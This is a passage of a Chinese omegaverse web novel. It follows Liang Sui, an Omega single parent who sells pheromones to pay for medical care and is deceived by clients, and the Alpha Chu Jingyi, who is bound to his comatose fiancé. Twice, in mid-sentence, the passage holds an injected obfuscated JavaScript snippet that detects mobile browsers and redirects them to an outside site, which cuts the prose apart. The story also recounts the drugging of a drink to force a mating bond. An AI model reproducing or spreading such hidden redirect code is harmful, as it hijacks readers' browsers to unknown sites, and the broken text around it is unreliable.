而他的老伴儿,付民英女士,得的病是脑瘤,重症晚期,已经深度昏迷了将近三个月,形如植物人,医生判定再醒来的可能性几乎为零。 严永福说,自己为了给妻子治病,已经掏空了老两口攒了半辈子的棺材本,弄得儿子一家意见很大,不知多少次明里暗里劝他放弃。闹到最后,儿子以儿媳辞职在家备孕,自己一个人上班经济压力太大为由拒绝再出医药费,还责怪父亲宁愿在医院守着母亲等死也不肯帮自己带孩子,硬是把还在上幼儿园的严科扔到医院让他找爷爷,夫妻俩算是彻底撒手不管了。 老头没办法,只好一边照顾病重的妻子一边照看不懂事的孙子。那点微薄的退休金兼顾不了爷孙俩加一个脑瘤病人的开支,他对梁穗唯一的请求就是帮忙照顾妻子。 而对于一个需要依赖价格不菲的医疗设备维持生命的脑瘤晚期患者来说,最直接的帮助就是经济援助。 那笔不到三万块的感谢费,远远不够。 “小梁你放心,我老伴儿的病我清楚,要是运气好,能把她救醒,往后十几二十年我就算砸锅卖铁也要把钱还你!要是真没指望了,我也不强求,她这病最多也就是一年半载的事,我老伴儿这辈子过得苦,就当老头子求你,咱爷俩一起把她舒舒服服伺候走了,我立马就签字躺手术台,就算把我整个肝都割了给小满我也没有半个不字!” “小梁,我也不是只为了我自己的私心,你家小满的手术费、护理费、营养费,少说也得大几十上百万吧?你一个没成家的劣等Omega,还没有洛市的户口,想申请到福利贷款不容易,光有暂居证也不成,至少也要有张长期居留证,手术的事现在急也没用,趁早找个活儿多攒点钱才是正经事……” 可是,初来乍到的劣等Omega,光是拿到最基本的暂居证明,就已经是找同乡托关系真金白银上下打点的结果了。 梁穗不怕吃苦,在洛市落脚的当天就出门找工作。他最多的时候一天打五份工,都是那种不限制第二性别也没什么技术含量的体力活儿,每一分钟都恨不得掰成两半使。有将近大半年的时间他每天只睡四小时,其余时间全用来赚钱,但还是不够,远远不够。 一边是付女士的住院及常规医疗费用,一边是梁跃东锲而不舍的骚扰要钱,一边是在这座连呼吸都要花钱的大都市生存的母子三人的日常开支、孩子们的学杂费书本费、小满的医药费……梁穗有时做梦都会梦到无数头张着大嘴的食金兽围着自己讨食,他不敢亏待其中任何一张贪婪的兽嘴,只能竭力搜刮着全身上下的所有财物投喂。 一张又一张钞票,一枚又一枚硬币,一条又一条小额借贷短信。全都喂光了依旧无法让它们满足,他便开始削下自己的血肉、骨髓、心肝脾肺肾……直到被吃成一副白森森的骨架。 还是不行,还是,差得很多很多。 为期半年的暂居证快要过期时,梁穗刚刚将自己身上的最后五千块打进医院账户。 应付完上门提醒他续签或是准备出市的工作人员,梁穗翻开之前加的那几个器官捐赠互助群,思考自己到底是该有偿捐个肾还是眼角膜,或者还有哪个器官是摘掉不会死,至少是短期内还能苟延残喘一段时间的吗? 还没等他想出个所以然来,丁翔就找上门来了。 - 丁翔也是春城人,跟梁穗算是同乡。 自从来到洛市之后,梁穗受到了对方不少帮助,就连之前那张暂居证都是托了他的关系办下来的。 丁翔说,知道他们孤儿寡母有难处,自己这里正好有个轻松赚钱的法子,问梁穗想不想干。 梁穗跟丁翔交情不差,但也没好到推心置腹的程度。他只知道这个人明面上经营着一家干洗店,背地里似乎干着些擦边的灰色勾当,在洛市的几家大大小小的会所也都有股份。 他下意识觉得丁翔是想介绍自己卖春,想也不想就要拒绝,直到丁翔再三解释来意,梁穗才明白自己需要出卖的只是信息素。 这当然也不是什么合法买卖。 社会发展至今,分化出第二性别的人类已经拥有了较高程度的自控能力。尤其是高等级的Alpha,对于Omega信息素的抵抗能力已经与Beta无异。若想寻求刺激,只能依靠劣等Omega这一至今仍被认为进化不完全的群体,依靠从他们那畸形发育的腺体中所分泌的、效力强烈得堪比顶级□□的劣质信息素。 在找乐子这一途上,越是有钱的人,越不会吝啬花钱。 梁穗别无选择地接受了这份工作,并不是卖身,而是售卖身体的一部分。 他不清楚具体酬劳与分成,每次从客人家里出来,丁翔都会分他万把块,有时遇到出手格外阔绰的客人,还会额外得到一些小费打赏,总体收入比之前高了很多,梁穗终于放弃了一些过于疯狂的打算,终于可以稍微喘上那么一口气。 只是稍微。 频繁抽取信息素对于本就脆弱敏感的腺体伤害不小,那一阵子他总是时不时就会感到头晕、倦怠、发烧、恶心,有些像是由于激素水平急剧变化而引起的发情期紊乱的征兆。 一些熟客从他身上那股不受控制胡乱溢散的信息素中嗅到端倪,假惺惺地关心了两句他的身体状况之后,便开始试图说服他换一种售卖方式,既然都是出来卖的,那么卖身跟卖信息素有什么本质区别呢? 不,不是的,这不是一回事,不能混为一谈。梁穗每次都是坚决拒绝,从不动摇。 有知道些内情的客人半开玩笑地问他,他整这一出只卖艺不卖身似的贞洁作派,难道是想为孩子的亲爹守身? 梁穗从来不回答这种问题,但每次都会在心里默默反驳。 只有这两种选择吗?除了守身就是卖身吗?那些轻狂的、放纵的、只是想在他这个少见的他们根本看不起的劣等Omega身上图个新鲜但绝不可能娶他的Alpha,他为什么要把身体交付给这样的人? 如果可以,他连信息素都不想卖。 他想像其他Omega那样谈一段正常的恋爱,他不挑剔对方的外形年龄家世,只要对方不是见猎心喜,只要是愿意真心待他和两个孩子,愿意光明正大娶他进门,愿意给予他作为丈夫的最基本的庇护,给他一个能长久留在洛市的户口,让他不必担心暂居证的续签机会用光后就要被烂赌成性的亲爹带走卖进那些变态重口味俱乐部,哪怕不愿意出钱养晓盈跟小满呢,都没关系的,只要给他一个如今社会公认的依靠、让他这样的劣等Omega可以借助丈夫的身份获得完整的公民权利,让他不必担忧自己不知何时就会落入那最深最绝望最难以挣脱的泥潭,让他的孩子能像其他婚生子女一样享有最起码的社会福利,得到健康成长的机会,而不是跟着他这个无能为力的母亲随波逐流,将未来全部托付给未知的命运…… 他迫切地需要一位丈夫、主人,让渡出自身本就寥寥无几的自由与权利,以此换取相对安全的保障。 而不是那些见猎心喜的客人。 - 直到今天,梁穗还时常忍不住回想,那时的自己,为什么会自负到认为真的会有Alpha愿意娶他这样的残次品呢? 粗陋的身材与容貌,平平无奇的头脑,不知此生还有没有康复希望的失语症,过于轻浮活跃、毫不矜持的信息素。他那先天发育残缺的腺体甚至无法被终身标记,即便强行结番,也依旧会受到其他Alpha甚至是同性别之间的信息素的压制与诱导发情……这种Omega,只要Alpha脑子清醒就不可能同意跟他结婚。 可惜那时的梁穗并没能看清这一点。 虽然,在第一次被某位温文尔雅的客人询问愿不愿意跟自己交往时,他也着实吃了一惊。 Omega,尤其是劣等Omega,是离不开Alpha的庇护的。梁穗犹豫了几天,在确定对方不是在跟自己开玩笑之后,终于怀着些忐忑与期待的心情同意了。 上一次恋爱已经是七年前的事了,有过甜蜜,也有过苦涩酸辛,五味杂陈,被尘封在记忆深处,略一回想就是一阵难以言说的隐痛。 他都快忘了该怎么跟Alpha交往了,记忆里的一切都显得那样遥远而模糊,主导权毫无疑问落在Alpha手上。 第一周,他们在音乐厅与咖啡馆约会,一起去看电影、打羽毛球、散步; 第二周,他们在市立图书馆的落地书柜前分享藏书,在微信上聊很久,交流读书心得,互道晚安; 第三周,晓盈小满过生日,梁穗收到了对方精心挑选的儿童礼物,开始犹豫要不要让孩子们知道妈妈的新恋情; 第四周,Alpha邀请梁穗去自己家过夜。 ——明明已经觉察出不对劲的。 可是,在信誓旦旦表示自己是抱着跟他结婚的目的谈恋爱的Alpha面前,天真愚蠢的Omega还是相信了。 是男朋友的话,不该拒绝对方亲热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314670|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的请求。 共度一夜之后,他的男友给了他一笔钱。 “接受高阶信息素标记很辛苦吧,昨晚一直在发抖呢,眼泪也流得很凶。”温柔的青年握着他的手,神情体贴而宠溺,“越想越觉得对不起你,请一定收下我的道歉。” 类似的邀约又发生了几次,然后,两人的关系便开始迅速冷淡。 前后不过两个月,梁穗就从对方再也没有回复过自己只言片语的聊天页面中读懂了分手的暗示。 不知道是哪里做得不够好呢。 太黏人了吗?以前的那个人就经常抱怨他这一点。还是从亲密接触中体验到了他低级廉价的信息素,心生嫌弃?或是看不上他丝毫谈不上精致柔美的外形…… 梁穗有在努力改正。 可是跟第二任、第三任男友的交往过程依旧不算顺利,依旧是交往之初就答应会娶他、庇护他,但是在用各种理由哄他上床之后就变了脸,不约而同地提出给他经济补偿来结束这段关系。 “好吧好吧,我承认,结婚什么的都是逗你的啦,暂时还不想考虑那么沉重的关系。” 被最后一任男友送出酒店大门之时,那个年轻的网球运动员大概是受不了他那种要哭不哭的可怜表情,终于对他说了实话。 “不过咱们还挺合拍的不是吗?就保持现在的关系不好吗?你应该看得出来吧,我真的挺喜欢你的,但是结婚的话没可能,我家里不会同意的。” 在那个寒风料峭的平安夜,揣着对方硬塞给他的红包走在大街上的时候,昏胀的头脑在冷风刺激下似乎清醒了不少,慢慢想明白了一些事。 微信里不断弹出消息,有些是群聊,有些是私信,但都围绕着同一个话题展开。 【小梁,你终于想通了,怎么不在群里说一声?我们这些老客也好给你捧场不是?】 【你现在包月价格多少啊,五万?十万?能先试睡吗?】 【我就说卖信息素还不如直接卖身来钱快吧,怎么样,你想好是单干还是找家会所挂牌了吗?要不要我帮忙介绍几家待遇不错的店?】 【小梁,你记得把我发给你的材料整理一下,趁早把黄色执照办下来,不然你干这个算是违法知道吗?洛市对风俗业管理得特别严,万一哪个缺德的闲着没事干把你举报了就麻烦了】 …… 还有几条,是他曾经的男友……不,是骗他玩恋爱游戏的那几位客人发来的。 没有寒暄,没有客套,只有时间和酒店房间号,以及一笔算是相当大方的转账。 嫖资。 - 踩着一路泥泞雪水回到家里时,梁穗的鞋袜和裤腿已经全都湿透了。 小满熬不了夜,已经早早睡去,晓盈趴在桌子上,困得脑袋一点一点的,但仍在等他。 梁穗小心翼翼地推门进来,她听到动静立即扬起头,揉了揉眼睛,盯着狼狈的妈妈看了一会儿,然后问:“怎么才回来,大晚上还要做家政啊?客人不过平安夜吗?” 梁晓盈并不知道他跟客人们之间的事。 她不应该知道。 梁穗不希望她知道,以为她不知道。 男人装作换衣服,并没有对女儿犀利的问话做出回应。小姑娘也没纠结,走到他身边,耸着鼻尖,在梁穗身上闻来闻去。 每次从客人那里回来,她都要这么仔细嗅闻过一遍。 梁穗忽然想起来,因为脑子一直乱糟糟的,今天回来时好像忘了换衣服。 “有Alpha的味道。” 梁晓盈冷不丁出声,吓得梁穗身子一僵,脑子都停转了一瞬。 “保持社交距离的话,应该不会留下这么重的味道吧。” “……” 她抬起头,直视着妈妈微微发红的眼圈和鼻头,嗓音发沉:“路上有坏人袭击你了吗?” 梁穗摇了摇头。 “那,是客人?” 「不是。」他不肯承认,但也无法向女儿做出合理的解释,只能一味否认,「不是客人。」 梁晓盈眼睛一眨不眨地看着他,梁穗被看得心里直打鼓,努力装出一副困极了的模样,很拙劣地表示自己要去打水洗漱。 转过身的那一刻,他听到身后的女孩说:“穗穗,不可以堕落。” “……” “劣等Omega的人生没有下坠的余地。你可以犯错,但不能放任自己堕落,一不小心,真的会掉进地狱里去的。” 鼻腔一阵阵辛辣酸涩,迟钝得憋到现在的眼泪终于汹涌而出。 梁穗举起冰凉的手背拼命抹泪,他没有回头,不去看女儿此刻脸上的神色,只在心底一遍又一遍重复,像是蘸着心头血向那位主宰着自己命运的神明一遍又一遍发誓。 「我不会堕落。」 「绝对,绝对不会堕落。」 17. 第 17 章 好不容易才摆脱那位孟老板的纠缠,仓皇地逃出那间仿佛承载着他种种不堪过往的屋子后,梁穗双腿发软,站在楼底下的花坛旁大口大口喘着气,久久都没能回神。 手里不知何时被塞进了一张名片,他完全没有印象。呆呆地盯着那张皱巴巴的小卡片看了一会儿,那上面的字进入大脑后随即又滑了出去,根本拼凑不出其中的含义。 临别前,孟华咏的最后那段话还依稀回荡在耳边。 “小梁,就当给我个面子。这次的贵客嗜好比较特殊,我这一时半会儿真找不到第二个合适人选,不着急,时间还早得很,你慢慢做好心理准备,等我后面通知你。” “就干这一回,我保证,你以前的那些事不会再有其他人知道,我一定帮你都处理好,往后你大可以继续过你清清白白的日子。” 梁穗哆嗦着,深深地吸了一口气,胸肺间都在火辣辣作痛。 以前的事。以前的,错误。 他想,自己那时大概……不,的确是走错了路。 他太蠢了,太痴心妄想了,即便明知道围上来的Alpha很可能只是在玩弄他,也还是想豁出去赌一把那点微乎其微的真心。 甚至在后来意识到对方应该根本不可能跟自己结婚之后还幻想过即便是假结婚也好,他太辛苦了,齿爪颓钝的母兽独自带着两个幼崽生存在这座冷冰冰的钢铁丛林里,哪怕只是个虚假的庇护,也能让他和孩子们的处境好过很多。只要对方愿意,他可以签婚前协议,保证不要任何财产,绝对不会事后纠缠……但是人家不愿意。 并不愿意接受他乞讨庇护的请求。 必须依赖于Alpha才能正常生存的劣等Omega,找不到可以依赖的Alpha。 似乎只能随波逐流,趋向下游,直至坠入那声色犬马的靡靡地狱,零落成泥,碾作烟尘,连灵魂都一同湮灭。 梁穗没有堕落,可是,心怀侥幸的Omega到底还是曾经朝着那条错误的道路迈出了一步。 他本以为,只要自己坚定地摒弃过去,脚踏实地走正道,生活总会变好的,不会永远这么糟糕的,太阳总会升起,犯过错的人也可以改过自新。 但实际上并不是这样。 伤口不会愈合,错误会变成把柄。 身处这条残酷的食物链的最底层,所有人都能将他吃干抹净,甚至要求他为自己不曾犯过的未来罪行提前上缴赎金。 手背盖在发烫的眼眶上,不断地大口吸气呼气,无声发泄着那几欲冲破胸腔的悲哀与愤怒。 等眼中的湿意稍稍退去后,梁穗控制着颤抖的手指,将那张名片扔进垃圾桶,加快脚步,匆匆走出了小区。 一辆通体漆黑的劳斯莱斯正巧此时缓缓驶过减速带,与他擦肩而过的一瞬间,车内正坐在后座闭目养神的青年眼睫轻颤,睁开眼,望向敞开一条缝隙的车窗。 “褚总?”驾驶座的司机兼助理注意到自家老板的举动,适时地出声发问,“是要关窗吗?” 褚京颐盯着那条不大不小的窗缝,许久,方才答非所问:“你闻到了吗?” “呃,什么?” 香味。 浓烈的,低廉的,甜腻过头的栀子香。 Alpha呼吸急促,下意识分出一缕信息素去追踪那股香气的来源,但是什么都没有,那香气戛然而止。犹如在春日午后不经意跌入了一场短促的梦境,一瞬入梦,一瞬惊醒,了无痕迹,不知所往。 衣物遮掩下的皮肤悄然而迅速地发起烫来,仿佛其下的血管中流淌的不是血液而是滚油。大片红痕如蛇一般爬上玉白的脖颈、头面,所到之处掀起阵阵燎原热浪。 褚京颐皱了皱眉,立即从扶手盒内置的冰箱里取出一只抑制剂,熟练地为自己注射。 冰凉药液尽职尽责驱逐着体内这股不合时宜的热意,他浓艳得近乎锋利的眉眼间一片漠然。 真难看,简直就像是在路边闻到了母狗尿的公狗。 等级再低一些的话,大概早就颤颤巍巍地口吐白沫了吧。 麻烦的易感期。 要不是担心社会地位受损,无法在集团服众,真想把那个碍事的腺体割了。 “那个,褚总,冯大夫说过您最好能控制一下抑制剂的用量……”江淮小心揣摩着老板的脸色,询问道,“您要是不舒服的话,用不用再去找冯大夫看看?” 褚京颐扔掉针管,将棉球按在针孔处止血,“不用,去康居园。” - 康居园位于洛市近郊山区,周围植被覆盖率高,山清水秀,草木郁郁葱葱,空气质量极佳,是本市乃至整个华东地区都小有名气的疗养胜地。 也是凑巧,褚京颐走进贵宾病房的时候,里面已经有一位访客在了。他并没有表现出意外,很随意地打了个招呼:“霁姐。” 听到声音,端坐在病床前的女人慢慢转过头。 她年约三十七八,一头及肩中长发打理得整整齐齐,容貌出众,面部轮廓坚毅而不失秀气,带有很明显的女性Alpha的特征。即便是在并未刻意严肃的时刻,神情也显得一丝不苟。 女人穿着一身裁剪得体的西装,肤色白皙,气质温文,但从那笔挺端正的坐姿中不难看出一些军旅出身的影子。 ——这就是洛市领导班子里有史以来最年轻的一位副市长,蓝霁。 “京颐来了,”女人脸上露出一个淡淡的笑,“听说你这阵子忙得很,连着两三个月连电话都没打一个,怎么今天倒是抽空亲自过来了。” “是,今天特地腾出了些时间。” 褚京颐只当自己没能听出这番对于一个政客来说实在是过于不委婉的嘲讽,在她对面坐下,专注地凝视着病床上安然沉睡的Omega。 昏迷七年,曾经明珠般妍丽娇媚的美人也憔悴了不少。瓷白的肌肤泛出不健康的淡青色,本就娇小的体态像是被时光凝固在了少年时期,手臂纤细,下颌尖尖,巴掌大的脸蛋上几乎挂不住肉,瘦弱得十分可怜。 每次见到这样的蓝卿玉,他心中都像是压了块石头,沉甸甸的,极不好受。 见景伤情,或许这才是他迟迟不愿来看望未婚妻的真正原因。 “卿玉太瘦了,让大夫多开点高营养的针剂吧,”褚京颐缓声问,“他最近状态怎么样,有好转了吗?” “还行,各项指标都越来越活跃,脑区信号也强烈了不少,”蓝霁为弟弟理了理被角,淡漠的脸庞上浮现出一丝温柔,“医生说,大概会比预计的时间更早苏醒。” 这算是近期为数不多的好消息了。 褚京颐轻呼一口气,眉眼亦显得柔和,“那可真是太好了,霁姐。我一直自责当初没能保护好卿玉,让他出了意外……” 蓝霁不冷不热地瞥了他一眼,“自责,但是抢在我们所有人都没反应过来之前先一步送走了凶手,要不是我那时刚好在洛市,褚家就真打算以意外结案了,不是吗?” 褚京颐被堵得好一会儿都没能说得出话。 “当年那件事,情况比较复杂,”他整理着思绪,尽力让自己的解释听上去合乎情理,“本来就是卿玉有错在先,真闹大了对他的名声也不利,我并不是包庇凶手……” 蓝霁问:“不是因为他怀了你的孩子?” 褚京颐闭了闭眼。 这种一张嘴就堵得别人下不来台的女人,当初到底是怎么从吃人不吐骨头的政坛宦海里脱颖而出的? “不是,跟那个没关系。”他咬着牙说,“霁姐,你一向公私分明,当年的内情肯定已经调查得清清楚楚了,你自己说,那场意外,到底是谁的错比较多?” 他并不是在袒护凶手。 当事人就算再偏私,事实摆在那里,总能论出个是非对错来。 蓝霁沉默了很久,久到褚京颐都以为她不会回答了,才见她点了点头,伸手在酣睡的弟弟额头上弹了个脑瓜崩,“嗯,没错,当年,的确是我家这个小祸害缺德在先,人家报复回来也应该。” 不是报复,就是个意外。褚京颐在心里默默说。 凶手并不具备策划一场报复的智商与能力,要不是卿玉依依不饶,主动挑衅,那场意外也许根本就不会发生。 “我是有私心,但也不至于是非不分,”蓝霁看向褚京颐,“要不然,当年就不会那么轻易地放他走了。” 放他……走? 青年眉头一蹙,下意识问:“你找过他麻烦?什么时候的事?” 蓝霁面无表情地点头:“怎么,心疼了?” “霁姐,您今天是特意等我来兴师问罪的吧?”褚京颐按了按眉心,头疼不已,“多少年前的老黄历了,我就是今天头一回听说还有这节,想问问到底怎么回事……我不会忘记对卿玉的责任的。” “你知道就好。”女人并不客气。 褚京颐当然知道。 他从小就知道,青梅竹马的蓝家弟弟,是自己将来的责任。 他们两个的婚约是早早就订下的,褚京颐从记事起就被大人教导要领着卿玉这个小小的未婚妻一起玩,两人感情一直都很好。 六岁那年,褚京颐不慎失足落水,连游泳都不会的卿玉第一个跳下来救他。虽然最后两人都被成功救起,但卿玉身子弱,寒冬腊月呛了好几口冰凉刺骨的湖水,心肺功能自那以后就每况愈下,甚至因此患上了严重的支气管哮喘。 不管卿玉事后如何宽慰如何表示自己不在意,这件事都成了横亘在褚京颐心中的一根刺,更是他一辈子的愧疚。 “我不会辜负卿玉的,霁姐,你可以放心。” 蓝卿玉手指动了动,这是植物人常见的肢体反应,并不能代表什么,但蓝霁依旧觉得欣慰。 轻轻握住弟弟细瘦的手指,她仿佛漫不经心地问:“那个梁穗,听说又回洛市了,你俩见过面没有?” 褚京颐坦言:“见过几面,不太多,我会想办法尽快把他们打发走。” “他们,”蓝霁的语气在此刻达到了阴阳怪气的巅峰,“这么说,他身边那俩崽子真是你的种了?” 褚京颐无言以对。 “我没记错的话,当年褚二少可是亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314671|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口跟我保证过一定让他把肚子里的孩子打掉,绝对不让私生子分我未来外甥的家产,有这回事吧?” 褚京颐长长吐出一口气,语调沉重:“我是这么说过,也是这么打算的,打胎费也给了,只是没想到他竟然会选择留下孩子……” 有没有孩子的拖累,对于梁穗来说,根本就不是一个难度级别的人生。 本来就少有Alpha愿意娶一个无法彻底标记、不能真正宣告所有权的劣等Omega,他又不是什么漂亮到能把Alpha迷得晕头转向的大美人,出身也不好,还带着两个拖油瓶,哪个Alpha想不开会娶他? 虽然一直都骂梁穗蠢,但梁穗居然能蠢到这个地步,实在是超乎褚京颐的想象。 除非,他一开始就没想过要嫁其他Alpha,没想过要给自己留后路。 褚京颐没再继续想下去。 晃去脑中繁杂的思绪,他郑重地说:“无论如何,我都不会认那两个孩子,未来我跟卿玉组建的家庭,永远都不会让第三个人介入。” 蓝霁盯着他看了一会儿,没有出声。 七年来,弟弟的这位未婚夫身边从未出现过任何一个Omega,也从未跟哪家的少爷小姐们传出些花边新闻。即便那时卿玉能不能醒来还是个未知数,他也从不动摇,坚定地推拒了所有意图联姻的橄榄枝。 作为姐姐,她不是不动容。 默然许久,女人终于叹息一声,语气软化下来:“你是个有成算的,京颐。Omega的真心经不起辜负,我不求你别的,只希望你,不要让卿玉步上我小姨的后尘。” 这话一出来,整个疗养病房原本温馨舒适的气氛都为之一变。空气像是凝固在某种半流体中,褚京颐的呼吸都有些困难。 蓝霁和蓝卿玉的小姨,蓝婉,这个名字在如今的褚家已经变成了一个禁忌。 徐寄蓉当初横刀插入的,就是褚砚城与蓝婉的恋情。 褚蓝两家世代相交,褚砚城与蓝婉也是自幼相识的青梅竹马,两人从幼儿园到大学都是同一所学校的同一个班级,彼此的每一次生日都是一起度过,感情甚笃,乃是公认的金童玉女、一对璧人,当时几乎所有人都认定他们将来必定能成为一对幸福佳偶。 然而,徐寄蓉出现了。 褚京颐也为自己的母亲找过很多理由,比如,她是徐家的私生女,是生母病逝后被当时的徐太太捏着鼻子接进家门的小孽种,说不定从小就受到了很多歧视与虐待,匮乏的精神世界急需寻找一个爱情的寄托;比如,褚砚城当年不该随意对一个处在危机中的缺爱的Omega伸出援手,导致不管是因为那该死的吊桥效应还是其他什么更深奥的心理学因素反正让徐寄蓉最终爱上了自己,从而开启了这一段剪不断理还乱的孽缘;再比如,蓝婉当时并未正式嫁入褚家,徐寄蓉只是在勇敢地追求自己的爱情,并不应该承受过多的道德谴责…… 但千言万语最终汇成一句话,共同指向了一个无法回避的事实:她就是用一种堪称卑鄙无耻的方式,强行插足了这段本不该属于自己的感情。 徐寄蓉将褚砚城约出来告白,遭到拒绝后便用一杯加了料的饮料将对方放倒,带回住处,用从黑市买来的劣等Omega信息素强行逼迫对方进入易感期,顺利地诱使癫狂的Alpha标记了自己。 终身标记。 二十多年前,标记清除手术尚未问世,AO一旦缔结终身标记便相当于终身绑定,自动进入结婚程序。抛弃结番伴侣的Alpha不仅要遭受社会各界的强烈谴责,而且法律根本不会通过离婚申请。 褚砚城疯了一样在家中大闹了三个月,但最终仍是被父亲拿马鞭硬生生抽进婚礼现场,被家里的保安押着手臂,浑身血淋淋地与这个毁了自己一生的女人交换戒指,埋葬了自己曾经的爱情。 得知恋人婚讯的蓝婉伤心欲绝,一个人跑去国外散心,不料途中飞机失事,坠入浩渺无际的太平洋,尸骨无存。 一对佳偶,终究是生死两茫茫。 褚砚城和徐寄蓉对不起蓝婉。背负着父母罪恶出生的褚京颐,必须担负起对蓝家的责任。 “霁姐,我一定会履行对卿玉的责任。”青年一字一句地说,“无论如何,那场悲剧的源头都是我爸的失职,我绝对不会像他那样动摇。” 真的只是被Omega暗算吗? 真的从来没有察觉到,那位娇美可人、总是缠着自己不放的小学妹,究竟对自己抱着哪种心思吗? 在相伴多年早已不复激情的女友,与这朵突然闯入自己生活中的热烈红玫瑰之间,真的,不曾产生过哪怕一刻的迟疑吗? 在褚砚城默许了徐寄蓉的接近,在他克制地放任自己沉沦在这段止步于恋情之外的暧昧中,在他有意无意瞒着蓝婉,频频奔赴与徐寄蓉的种种看似冠冕堂皇理由充分的单独约会之时,裂痕,就已经产生了。 用情不专的Alpha才是一切灾难的根源。 他绝不会重蹈父亲的覆辙。 绝不会,让梁穗像母亲那样破坏褚蓝两家的联姻。 18. 第 18 章 夜幕降临,梁穗提前一小时出门,在进入自己工作的那家酒店前,先去了附近的一家二手书店。 店面很老旧,装饰都是上个世纪的风格,空间也不大,老板在门口支了张躺椅,一边听着咿咿呀呀的戏剧一边打瞌睡,十分挡路。 身材高大的Omega努力了半天,始终没能从那条半人宽的缝隙里钻进来,只好把打着呼噜的小老头戳醒,示意自己要进去。 “噢,是你呀,后生仔,”老板老胡迷迷瞪瞪醒过来,打着哈欠起身把躺椅移开,操着一口在北地浸润多年已经不甚明显的南方腔调,对梁穗说,“你来得巧,下午刚到了一批书,有你要的那本《细雪》,喏,就堆在柜台里头,你自己去找吧。” 梁穗点头道谢,侧身从窄小的门口挤进去,拿起柜台上的美工刀去拆地上的包裹。 这是他最近找的一份小小的兼职。 不,或许算不上兼职,因为老板不给他发工资,他也不用做什么太繁重的活儿,只是每周逢上夜班的时候提前一会儿来店里,帮老板整理整理这周新到的库存书,顺带打扫卫生。 店里的书随便看,而且胡老头有渠道,能拿到洛市各大公私立学校里用到的辅导书跟独家资料,这些都可以便宜卖给他。 龚老师知道梁家的情况,特地帮梁穗申请退了教辅费用,西嘉的学杂费是出了名的项目繁多、价格昂贵,从这家店里买能省下一笔不小的开支,因此梁穗对这份没有工资的兼职简直是受宠若惊,干起活儿来也格外卖力。 他个子高,不用架梯子就能将书放到最顶层的架子上。自从有了他,左邻右舍再也没被三不五时就从店里传来的哎呦呦叫唤打扰过。老板对这个勤快老实的后生也挺满意,每次去市图中心收库存前总会大方地叫梁穗把自己想看的书列在清单里,就算是这周给他的报酬了。 拓展出这份兼职的契机,还是上个月梁晓盈在晚饭时的随口一句抱怨。 “开学后学校要举行读书节,每个人都得带本课外书,穗穗,你那儿不是有好几本名著吗?给我跟小满拿两本,也省得再花钱买了。” 梁穗摇摇头,「书太旧,书页都掉了,只剩一本好的。」 “一本也行,给我吧,你再给小满买本新的。” 梁穗低下头,思想挣扎了好半天才表示:「给你俩各买一本新的吧。」 “不用买新的,旧书就行。” 梁穗捏了捏自己的手指,不比划了,转而去拿勺子给孩子们盛汤。 小满还有些不明所以,晓盈却已经不轻不重地拍了一下桌子,嘲讽道:“怎么,舍不得?也难怪,定情信物呢。” 梁穗好像没听见,闷不作声地盛了两碗汤,放在两人面前的桌子上。 梁晓盈愈发不满:“穗穗,不是我寒碜你,谁家Omega定情信物是本破书啊?Alpha送给你的礼物的分量,就代表着你在他心里的分量,懂不懂?我要是你,早把这破烂扔了!” 「他,他也送过我别的很贵的礼物。」梁穗终于忍不住解释。 他不想被女儿认为是没有得到过像样馈赠的可怜Omega,送给他这本书的Alpha也送过他其他更珍贵的东西,他只是,只是最珍惜这本书。 那个人曾经说过他跟书里的主人公一样真挚勇敢,他很喜欢这个评价。 “哦,”女孩态度冷漠,“那你就把最便宜的这个给我吧。” 梁穗又哑火了。 他有点愧疚,自己的确不是个无私的妈妈,别的什么都可以,唯独这本承载了他从少年时期至今十数年幻想时光的小说,不愿意让给其他人,哪怕是自己的孩子。 「我早就不抱有幻想了,」他知道女儿的意思,蔫头耷脑地强调,「我在乎的只是这本书本身,从前的人和事,我早就死心了。」 “那你把书给我,我再送你本新的。” 「不要。」 母女俩争执了一晚,最后还是梁晓盈在妈妈没出息的眼泪攻势下退了一步,同意不动他那本宝贝《雪国》,而是由梁穗为自己跟弟弟再另外买两本名著拿到学校充数。 “活动结束要捐给图书室的,别浪费钱,买两本二手书就行。” 于是,梁穗不上班的时候就沿着洛市的大街小巷兜兜转转,找了好几圈,最终在自己工作的酒店后门的巷子里发现了这家书店,还顺带收获了一份双方都很满意的兼职。 把新到的这批书按编号放入书架,又收拾了店内卫生,见一时半会儿没有客人来,梁穗就拿着自己的报酬,坐在店内的小板凳上专心致志看了起来。 梁穗没什么爱好,平时有空闲的时候就喜欢看看书,写写随笔。 这是他在繁杂的生活重担之下,唯一能低成本获取到的放松方式了,也能让他暂时忘记孟华咏带来的、那几乎要将他整个人压垮的忧虑与恐惧。 他不会答应的。 无论如何,他都不会走上那条堕落的路。 可是,梁穗同时也心知肚明,这个世界上,很多灾难并不是不情愿就可以避免的。像他们那些游走于灰色地带的人,有的是法子逼迫一个无依无靠的劣等Omega心甘情愿,主动入局。 这些天来,他时常忍不住想,如果,如果实在无路可走,褚京颐……有可能帮他这一次吗? 不管分手时闹得再不堪,至少他们也曾真心相爱过,至少,梁穗曾毫无保留地付出过自己的真心。 即便对他已经再无旧情,作为Alpha的一方也该多少尽些责任,最后一次对他伸出援手吧? 